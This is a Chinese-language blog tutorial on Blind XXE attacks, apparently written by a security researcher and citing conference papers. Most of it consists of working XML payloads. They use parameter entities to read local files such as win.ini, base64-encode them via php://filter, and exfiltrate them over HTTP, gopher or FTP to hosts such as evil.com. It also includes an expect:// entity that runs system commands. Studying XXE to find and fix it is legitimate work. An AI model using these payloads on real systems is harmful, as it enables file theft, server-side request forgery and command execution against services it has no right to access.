关于Blind XXE
关于Blind XXE
关于XXE,很早之前内部做过分享,个人觉得漏洞本身没太多的玩点,比较有意思主要在于:不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性。
在科普Blind XXE之前,假定你们已经掌握了XXE,了解了 XML, Entity, DCOTYPE, DTD等这些基础知识。
Blind XXE的原理和利用方式我在wooyun上的漏洞报告:鲜果网RSS导入Blind XXE漏洞 也讲的比较详细,大家可以参考这个实例。
普通的XXE,利用的是通用实体,回显数据,如下:
但是有些时候,我们会发现并没有回显成功,通常有两种情况:服务器禁止了外部实体引用;服务器进行了过滤或者展示限制。
如果是第二种,就可能出现Blind XXE。
正文
一. 参数实体
大部分人都不了解或者仅仅知道一点关于参数实体的结构。
XXE漏洞中,参数实体通常是无用的(通用实体已经足够),只有当通用实体不再“通用”时,我们就需要使用参数实体了!
XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。
我们看一个参数实体的示例:
1
2
3
4
5
6
7
8
|
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "<!ENTITY internal 'http://hivesec.net'>"> %param1; ]> <root> <test>[This is my site] &internal;</test> </root> |
参数实体param1中包含内部实体的声明,用于替代<test>标签中的实体引用参数。
这里,一定要注意流程,参数实体在DTD中解析是优先于XML文本中的内部实体解析。
参数实体有几个特性,这几个特性也决定了它能被利用的程度:
- 只能在DTD内部
- 立即引用
- 实体嵌套
只能在DTD内部不在赘述;
立即引用即参数实体在DTD中声明后,需要在DTD中完成引用,示例中 %param1; 就是完成了引用;
关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:
1
|
<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >' |
二. Blind XXE POC
了解了参数实体,Blind XXE的思路就很简单了,最简单的无非是通过参数实体引用,发送一个http请求到我们服务器,然后观察我们服务的日志:
1
2
3
4
5
|
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://hivesec.net/blind_xxe_test"> %remote;]> <root/> |
尽管解析器会报错(404没东东),但是HTTP请求还是发送出去了。
所以,只要我们服务器有接收到来源于解析服务器的请求,就证明存在XXE漏洞。
三. 漏洞利用:OOB
Blind XEE和普通XXE漏洞的利用方式基本相同:读取文件;DOS;SSRF。
DOS没啥讲的,SSRF就比较多了,不是一两篇文章能讲完的,不仅需要深厚的内功,也需要一定的运气。
所以这里重点讲一下读取文件的数据获取。
和普通XXE相比,Blind的难点在于OOB。通过POC,我们的思路可以通过HTTP请求进行发送,于是很高兴的构造了exp:
1
2
3
4
5
6
7
8
|
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % info "1234"> <!ENTITY % remote "<!ENTITY % test SYSTEM 'http://hivesec.net/?blind_xxe_exp=%info;'>" > %remote; %test; ]> <root/> |
但是当我测试时发现并不成功(php dom),这个问题一直没解决。
后来从Timur Yunusov和Alexey Osipov的《XML DATA RETRIEVAL 》paper才了解到,这样的利用方式,一些XML解析器不会处理,解决方案就是再引入1个文件,利用的poc如下, evil1.xml:
1
2
3
4
5
6
7
|
<?xml version="1.0" encoding="UTF-8" standalone="no" ?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evil.com/webtest/xxe/oob_poc.xml"> %remote; ]> </root> |
上面引入了一个恶意文件oob_poc.xml,这个恶意文件的内容如下:
1
2
3
4
|
<!ENTITY % payload "1111"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://hivesec.net/?oob_poc=%payload;'>"> %int; %trick; |
具体的行为就是,将参数实体%payload;获取的值,通过http请求发送到hivesec.net服务器。
四. OOB实战的一些问题和解决方案
字符串可以成功导出,不过,当我们在实战中,试图读取本地文件的时候,就会发现了一个问题,通过参数实体引用获取到的数据,并不会进行urlencode,并且解析器对URL有一定限制,只要有回车换行(测试发现php中空格、等制表符也不允许),都会被检查为不合法URL,直接拦截这个请求,所以实战中,这是必须要解决的问题。
在解决这个问题的过程其实蛮有趣的,当然,折腾之后发现老外已经有比较成熟可靠的方案了,这里直接给出php和java OOB的方案:
1. php中,利用php wrapper对数据进行处理(data://,php://);
1
2
3
4
5
|
<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://hivesec.net/?oob_poc=%payload;'>"></pre> <pre>%int; %trick;</pre> <pre> |
如果服务器安装了expect扩展,那么就非常危险了,这个地方是允许执行系统命令的(Facebook的3w$):
1
|
<!ENTITY a SYSTEM 'expect://id'> |
2. java中,低版本可以使用gopher协议,高版本可以使用ftp协议
1
2
3
4
|
<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'gopher://evil.com/%payload;'>"> %int; %trick; |
1
2
3
4
|
<!ENTITY % payload SYSTEM "file:///c:/Windows/win.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://evil.com/%payload;'>"> %int; %trick; |
用py写了1个ftp demo,JAVA DOM测试情况如下:
其他问题
1. 解析器的限制:
- .NET的System.XML会自动进行URLencode;
- libxml解析器(php,python,ruby)默认限制外部实体长度为2K,并且不处理空格换行符;
- java的Xerces2解析器不转换换行符;
2. web服务器URI GET请求,web容器一般都会限制长度(2K or 4k左右),不过NC可以解决这个问题。
五. 后话
有很多研究过程中碰到的有趣故事,本来想和大家分享的,考虑到大家宝贵的时间,就算了,不过在实战中还是会遇到很多有意思的地方,大家可以去研究研究:
1. URI在不同OS、不同语言支持的协议:比如ldap,win network(“\\10.0.0.1\E$\ivan.txt”);
2. 不同XML解析库libxml(php,python,ruby),Xerces2(Java), System XML(.NET)的限制(长度,符号)。
参考:
http://defcon.org.ua/data/2/2_Vorontsov_XXE.pdf
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
http://www.sensepost.com/blog/10178.html
http://php.net/manual/en/wrappers.php
http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html